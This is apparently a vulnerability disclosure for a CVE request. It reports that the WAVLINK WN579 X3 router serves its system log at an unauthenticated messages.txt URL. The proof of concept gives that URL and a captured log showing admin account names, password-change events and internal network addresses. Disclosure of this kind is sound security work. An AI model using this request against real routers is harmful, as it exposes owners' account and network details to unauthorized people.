

main

...

CVE\_Request / WAVLINK WN579 X3\_\_messages.md



pghuanghui Add files via upload

History

1 contributor



27 lines (16 sloc) | 754 Bytes

...

## 0x01 Vulnerability description

A vulnerability is in the 'messages.txt' page of the WAVLINK WN579 X3, Firmware package version M79X3.V5030.191012/M79X3.V5030.191012

Unauthorized users can obtain the key information of the router by visiting:

`http://xxx.xxx.xxx.xxx/messages.txt`

## 0x02 Affected version

WAVLINK WN579 X3

## 0x03 Vulnerability

When the router is running, all the operations of the user are stored in the messages.txt text, and the identity verification process is not performed.

## 0x04 PoC verification

```
← → ↻ 192.168.1.102/messages.txt

Jan 1 00:00:07 syslog.info syslogd started: BusyBox v1.12.1
Jan 1 00:00:07 user.notice init: Start linklog file to www
Jan 1 00:00:09 user.info syslog: Password for 'admin2860' changed
Jan 1 00:00:09 user.info syslog: Password for 'rootws' changed
Jan 1 00:00:36 local0.info udhcpd[1413]: udhcpd (v1.12.1) started
Jan 1 00:00:36 local0.err udhcpd[1413]: max_leases=235 is too big, setting to 101
Jan 1 00:00:37 local0.info udhcpd[1413]: hash:50
Jan 1 00:00:37 local0.info udhcpd[1413]: addr:c0a80ab3, hash:685305178 , add:79
Jan 1 00:00:39 local0.info udhcpd[1661]: pid:/var/run/udhcpd.pid, interface:apcli0
Jan 1 00:00:39 local0.info udhcpd[1661]: udhcpd (v1.12.1) started
Jan 1 00:00:39 user.notice udhcpd: get ip:==>subnet:==>router:==>dns:==>domain:
Jan 1 00:00:39 local0.info udhcpd[1413]: Sending OFFER of 192.168.10.179
Jan 1 00:00:39 local0.info udhcpd[1413]: Sending ACK to 192.168.10.179
Jan 1 00:00:40 local0.info udhcpd[1661]: Sending select for 192.168.0.3...
Jan 1 00:00:40 local0.info udhcpd[1661]: Lease of 192.168.0.3 obtained, lease time 86400
Jan 1 00:00:41 user.notice udhcpd: get ip:192.168.0.3==>subnet:255.255.255.0==>router:192.168.0.1==>dns:192.168.0.1==>domain:
Jan 1 00:00:41 local0.info udhcpd[1413]: Received a SIGTERM
Jan 1 00:00:41 local0.info udhcpd[1996]: udhcpd (v1.12.1) started
Jan 1 00:00:41 local0.err udhcpd[1996]: max_leases=235 is too big, setting to 101
Jan 1 00:00:43 user.notice init: internet.sh: End
May 24 09:02:02 cron.err crond[3596]: crond (busybox 1.12.1) started, log level 8
May 24 09:02:04 cron.err crond[5056]: crond (busybox 1.12.1) started, log level 8
May 24 09:02:04 user.notice api2sr: API2Server:
May 24 09:02:09 user.notice MESH: init system, curl start
May 24 09:02:09 cron.err crond[5976]: crond (busybox 1.12.1) started, log level 8
May 24 09:02:09 user.notice MESH: curl:start
May 24 09:02:09 user.notice Curl: wanCheck wanCheck:
May 24 09:02:10 cron.err crond[6023]: crond (busybox 1.12.1) started, log level 8
May 24 09:02:10 user.notice api2sr: API2Server:
May 24 09:02:20 user.notice MESH: update_repeater_status, scan
May 24 09:02:30 cron.err crond[6121]: crond (busybox 1.12.1) started, log level 8
May 24 09:02:31 cron.err crond[6151]: crond (busybox 1.12.1) started, log level 8
May 24 09:02:31 user.notice api2sr: API2Server:
May 24 09:02:33 local0.info udhcpd[1996]: hash:50
May 24 09:02:33 local0.info udhcpd[1996]: addr:c0a80ab8, hash:302268945 , add:84
May 24 09:02:35 local0.info udhcpd[1996]: Sending OFFER of 192.168.10.184
May 24 09:02:35 local0.info udhcpd[1996]: Sending OFFER of 192.168.10.184
May 24 09:02:36 local0.info udhcpd[1996]: Sending ACK to 192.168.10.184
May 24 09:25:52 local0.info udhcpd[1996]: Sending ACK to 192.168.10.184
May 24 09:25:56 local0.info udhcpd[1996]: Sending OFFER of 192.168.10.184
May 24 09:25:57 local0.info udhcpd[1996]: Sending ACK to 192.168.10.184
```

## 0x05 Acknowledgement

Penwei.Huang